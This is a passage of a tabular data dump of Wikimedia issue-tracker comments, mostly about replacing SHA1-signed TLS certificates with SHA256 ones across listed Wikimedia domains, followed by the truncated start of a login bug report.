The systems that were already replaced have been fixed, however, the NEW intermediary certificate for SHA256 certificates is actually SHA1!  RapidSSL doing something like this isn't entirely surprising, and due to their low budget, any fix is likely not going to happen.

As such, we'll likely need to go back to the initial idea of simply replacing all rapidssl certs with globalsign certs.  We'll have to approach it on a case by case basis.",,,1423071210,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-22,True,2.0,0.5,0.5,1.0,1.5,6.5,0.0,0.0,0.0,0.0,1.5,2.5,0.0,0.0,0.0,3.5,0.5,7.5,11.5,0.5,2.5,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.5,2.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,10.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,1.5,0.0,0.5,2.5,0.0,0.0,0.0,0.5,0.0,3.5,3.5,6.5,0.5,1.5,6.0,0.0,0.0,0.5,0.0,5.0,0.0,0.0,0.0,5.0,11.5,1.5,0.0,0.0,0.0,5.0,0.0,0.5,1.0,0.5,3.0,0.0,0.0,0.0,4.151996370235935,0.7999092558983666,"So I was installing these, and Alex noticed that the intermediary certificate changed (stupid of me, I should have noticed.)

The systems that were already replaced have been fixed, however, the NEW intermediary certificate for SHA256 certificates is actually SHA1!  RapidSSL doing something like this isn't entirely surprising, and due to their low budget, any fix is likely not going to happen.

As such, we'll likely need to go back to the initial idea of simply replacing all rapidssl certs with globalsign certs.  We'll have to approach it on a case by case basis."
406679,Replace SHA1 certificates with SHA256,"also:

*.frdev.wikimedia.org (wildcard cert)
civicrm.wikimedia.org
frdata.wikimedia.org
fundraising.wikimedia.org
payments-listener.wikimedia.org


",,,1423068599,,PHID-USER-cwqdddnpyui7ysn4xsuw,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.11111111111111,0.8333333333333334,"also:

*.frdev.wikimedia.org (wildcard cert)
civicrm.wikimedia.org
frdata.wikimedia.org
fundraising.wikimedia.org
payments-listener.wikimedia.org


"
404830,Replace SHA1 certificates with SHA256,">>! In T73156#1003895, @Chmarkine wrote:
> The certificate for svn.wikimedia.org will expire in about one day.

This is T86655
(and historically T24596)

",,,1422629427,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,36.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.642857142857143,0.7857142857142857,"QUOTE
QUOTE

This is T86655
(and historically T24596)

"
404774,Replace SHA1 certificates with SHA256,"The certificate for svn.wikimedia.org will expire in about one day. There are some links to https://svn.wikimedia.org on enwiki that will be affected by the expiration.

https://en.wikipedia.org/w/index.php?title=Special%3ALinkSearch&target=https%3A%2F%2Fsvn.wikimedia.org",,,1422606146,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-22,True,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,17.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.379310344827586,0.896551724137931,"The certificate for svn.wikimedia.org will expire in about one day. There are some links to URL on enwiki that will be affected by the expiration.

URL"
403903,Replace SHA1 certificates with SHA256,">>! In T73156#974224, @RobH wrote:
> bug-attachment.wikimedia.org - old service, should push behind misc web since its depreciating
> bugzilla.wikimedia.org - old service, should push behind misc web since its depreciating

This is already the case. They are both behind misc web.

bugzilla.wikimedia.org is an alias for misc-web-lb.eqiad.wikimedia.org.
bug-attachment.wikimedia.org is an alias for misc-web-lb.eqiad.wikimedia.org.

There is no more need for those certs.",,,1422466481,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-23,True,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,13.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,20.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,5.311111111111111,0.6,"QUOTE
QUOTE
QUOTE

This is already the case. They are both behind misc web.

bugzilla.wikimedia.org is an alias for misc-web-lb.eqiad.wikimedia.org.
bug-attachment.wikimedia.org is an alias for misc-web-lb.eqiad.wikimedia.org.

There is no more need for those certs."
399084,Replace SHA1 certificates with SHA256,"So additional corrections, the following certificates more than likely do not need re-order, for the reasons following each:

bug-attachment.wikimedia.org - old service, should push behind misc web since its depreciating
bugzilla.wikimedia.org - old service, should push behind misc web since its depreciating

unified.wikimedia.org.crt - old digicert certificate, being revoked shortly as its been replaced
",,,1421176564,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-25,True,2.0,0.0,0.0,3.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,9.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,2.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,5.424242424242424,0.6515151515151515,"So additional corrections, the following certificates more than likely do not need re-order, for the reasons following each:

bug-attachment.wikimedia.org - old service, should push behind misc web since its depreciating
bugzilla.wikimedia.org - old service, should push behind misc web since its depreciating

unified.wikimedia.org.crt - old digicert certificate, being revoked shortly as its been replaced
"
397038,Replace SHA1 certificates with SHA256,"well, some of those are actually going away and I meant to pull them before pasting:

virt0.wikimedia.org, virt1000.wikimedia.org, unified.wikimedia.org",,,1420757841,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-25,True,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,8.0,12.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,5.625,0.9166666666666666,"well, some of those are actually going away and I meant to pull them before pasting:

virt0.wikimedia.org, virt1000.wikimedia.org, unified.wikimedia.org"
397037,Replace SHA1 certificates with SHA256,"There is an embarassing # of them in SHA1.  As revoking and reissue via RapidSSL is very difficult (they have to cancel the order entirely to revoke, but then it takes multiple calls with support to get the credits issued to re-order without paying, which is why we moved off rapidssl.

So these will need to be purchased on our new vendor, which will transfer the remainder of the existing time, plus the year minimum when ordering.

I'll create sub-tasks for the following certificate replacements (some are internal and thus not purchases, but should be replaced anyhow as a matter of course):

blog.wikimedia.org.crt
bug-attachment.wikimedia.org.crt
bugzilla.wikimedia.org.crt
dumps.wikimedia.org.crt
etherpad.wikimedia.org.crt
ganglia.wikimedia.org.crt
gerrit.wikimedia.org.crt
git.wikimedia.org.crt
icinga-admin.wikimedia.org.crt
icinga.wikimedia.org.crt
ldap-mirror.wikimedia.org.crt
librenms.wikimedia.org.crt
lists.wikimedia.org.crt
metrics.wikimedia.org.crt
rt.wikimedia.org.crt
star.wmflabs.crt
star.wmflabs.org.crt
stats.wikimedia.org.crt
svn.wikimedia.org.crt
swift.crt
techblog.wikimedia.org.crt
tendril.wikimedia.org.crt
test-star.wikipedia.org.crt
ticket.wikimedia.org.crt
unified.wikimedia.org.crt
virt-star.eqiad.wmnet.crt
virt0.wikimedia.org.crt
virt1000.wikimedia.org.crt
wikitech.wikimedia.org.crt
wmf-ca.crt
wmf-labs.crt
wmf_ca_2014_2017.crt


",,,1420757805,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-25,True,0.5,0.0,1.0,1.0,0.5,6.0,1.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.5,1.5,0.5,5.0,9.5,0.0,2.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.5,0.0,3.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,18.0,0.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,4.0,3.0,3.0,1.0,3.0,6.0,0.0,0.0,0.0,0.5,5.5,1.0,0.5,0.0,3.0,9.5,1.0,0.0,0.0,0.0,3.0,0.0,2.0,1.0,0.5,2.5,0.0,0.0,1.5,6.811827956989247,0.7311827956989247,"There is an embarassing # of them in SHA1.  As revoking and reissue via RapidSSL is very difficult (they have to cancel the order entirely to revoke, but then it takes multiple calls with support to get the credits issued to re-order without paying, which is why we moved off rapidssl.

So these will need to be purchased on our new vendor, which will transfer the remainder of the existing time, plus the year minimum when ordering.

I'll create sub-tasks for the following certificate replacements (some are internal and thus not purchases, but should be replaced anyhow as a matter of course):

blog.wikimedia.org.crt
bug-attachment.wikimedia.org.crt
bugzilla.wikimedia.org.crt
dumps.wikimedia.org.crt
etherpad.wikimedia.org.crt
ganglia.wikimedia.org.crt
gerrit.wikimedia.org.crt
git.wikimedia.org.crt
icinga-admin.wikimedia.org.crt
icinga.wikimedia.org.crt
ldap-mirror.wikimedia.org.crt
librenms.wikimedia.org.crt
lists.wikimedia.org.crt
metrics.wikimedia.org.crt
rt.wikimedia.org.crt
star.wmflabs.crt
star.wmflabs.org.crt
stats.wikimedia.org.crt
svn.wikimedia.org.crt
swift.crt
techblog.wikimedia.org.crt
tendril.wikimedia.org.crt
test-star.wikipedia.org.crt
ticket.wikimedia.org.crt
unified.wikimedia.org.crt
virt-star.eqiad.wmnet.crt
virt0.wikimedia.org.crt
virt1000.wikimedia.org.crt
wikitech.wikimedia.org.crt
wmf-ca.crt
wmf-labs.crt
wmf_ca_2014_2017.crt


"
332409,Replace SHA1 certificates with SHA256,"I see the certificate *.wikimedia.org has been renewed on 3 November 2014 with a SHA-256 signature (see internal wikimedia.org websites).
It remains the main certificate *.wikipedia.org to be updated with SHA-256.",,,1416827549,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-32,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,13.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,11.0,13.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,4.842105263157895,0.8157894736842105,"I see the certificate *.wikimedia.org has been renewed on 3 November 2014 with a SHA-256 signature (see internal wikimedia.org websites).
It remains the main certificate *.wikipedia.org to be updated with SHA-256."
324298,Replace SHA1 certificates with SHA256,"(In reply to chmarkine from comment #10)
> Chrome 39 was released today. When will the certificates be replaced then?

Thanks for the update. I have poked the internal ticket (RT 8835).",,,1416386322,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-33,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,17.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,3.0,14.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3448275862068964,0.8620689655172413,"(In reply to chmarkine from comment #10)
QUOTE

Thanks for the update. I have poked the internal ticket (RT 8835)."
324291,Replace SHA1 certificates with SHA256,Chrome 39 was released today. When will the certificates be replaced then?,,,1416347750,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-33,True,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,14.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Chrome 39 was released today. When will the certificates be replaced then?
324286,Replace SHA1 certificates with SHA256,Filled as well in the internal request tracker as https://rt.wikimedia.org/Ticket/Display.html?id=8835,,,1415623235,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-34,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,0.9,Filled as well in the internal request tracker as URL
324281,Replace SHA1 certificates with SHA256,*** Bug 73190 has been marked as a duplicate of this bug. ***,,,1415538938,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-34,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 73190 has been marked as a duplicate of this bug. ***
324275,Replace SHA1 certificates with SHA256,"I see. Thanks for your explanation.

(In reply to Andre Klapper from comment #6)
> To some extent that's still to be defined, but the Bugzilla domain will
> change to something like bugzilla-old.wm.org as we plan to redirect
> bugzilla.wikimedia.org URLs to phabricator.wikimedia.org",,,1411949282,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,8.0,15.0,12.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3076923076923075,0.8076923076923077,"I see. Thanks for your explanation.

(In reply to Andre Klapper from comment #6)
QUOTE
QUOTE
QUOTE"
324271,Replace SHA1 certificates with SHA256,"To some extent that's still to be defined, but the Bugzilla domain will change to something like bugzilla-old.wm.org as we plan to redirect bugzilla.wikimedia.org URLs to phabricator.wikimedia.org",,,1411946620,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-40,True,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,24.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,10.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,24.0,10.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.862068965517241,0.896551724137931,"To some extent that's still to be defined, but the Bugzilla domain will change to something like bugzilla-old.wm.org as we plan to redirect bugzilla.wikimedia.org URLs to phabricator.wikimedia.org"
324268,Replace SHA1 certificates with SHA256,"(In reply to Andre Klapper from comment #3)

> > Bugzilla -- ‎November ‎5, ‎2017
> > bug-attachment.wikimedia.org -- September ‎7, ‎2017
> > Gerrit -- April ‎24, ‎2017
> 
> These three items will likely be ceased in the next months.

So do you mean these three domains will be shut down after we migrate to Phabricator?",,,1411601216,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-41,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,3.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,26.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,5.0,0.0,5.0,0.0,5.0,15.0,13.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5641025641025643,0.7692307692307693,"(In reply to Andre Klapper from comment #3)

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

So do you mean these three domains will be shut down after we migrate to Phabricator?"
324262,Replace SHA1 certificates with SHA256,...and Mozilla: https://blog.mozilla.org/security/2014/09/23/phasing-out-certificates-with-sha-1-based-signature-algorithms/,,,1411557633,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-41,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,...and Mozilla: URL
324257,Replace SHA1 certificates with SHA256,"Official announcement: http://googleonlinesecurity.blogspot.cz/2014/09/gradually-sunsetting-sha-1.html

(In reply to chmarkine from comment #0)
> Chrome 39 will warn users if SHA1 certificates are used and expire after
> January 1, 2017.

> Bugzilla -- ‎November ‎5, ‎2017
> bug-attachment.wikimedia.org -- September ‎7, ‎2017
> Gerrit -- April ‎24, ‎2017

These three items will likely be ceased in the next months.",,,1411556583,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-41,True,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.710526315789474,0.7631578947368421,"Official announcement: URL

(In reply to chmarkine from comment #0)
QUOTE
QUOTE

QUOTE
QUOTE
QUOTE

These three items will likely be ceased in the next months."
324249,Replace SHA1 certificates with SHA256,Background reading: https://konklone.com/post/why-google-is-hurrying-the-web-to-kill-sha-1,,,1411504486,,PHID-USER-uazrhtptdqudzoqfefsc,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-41,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,75.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.25,1.0,Background reading: URL
324241,Replace SHA1 certificates with SHA256,"And stats.wikimedia.org -- June 20, 2017",,,1411457825,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-41,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,"And stats.wikimedia.org -- June 20, 2017"
72855,Login as another user no longer works,"If you're already logged in, you can not longer directly log in as another user (such as with bots, different privilege or role accounts, sockpuppets, etc) without first logging out.

This is annoying and shouldn't have happened.

--------------------------
**Version**: 1.24rc
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=71066",High,80.0,1410804960,1411418851.0,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,False,PHID-TASK-6mimi76qa47o25ubseql,task_description,resolved,True,c3,1,False,False,True,-42,True,0.0,0.0,0.0,0.0,3.0,5.0,1.0,0.0,0.0,1.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,11.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,1.0,3.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,3.6578947368421053,0.6842105263157895,"If you're already logged in, you can not longer directly log in as another user (such as with bots, different privilege or role accounts, sockpuppets, 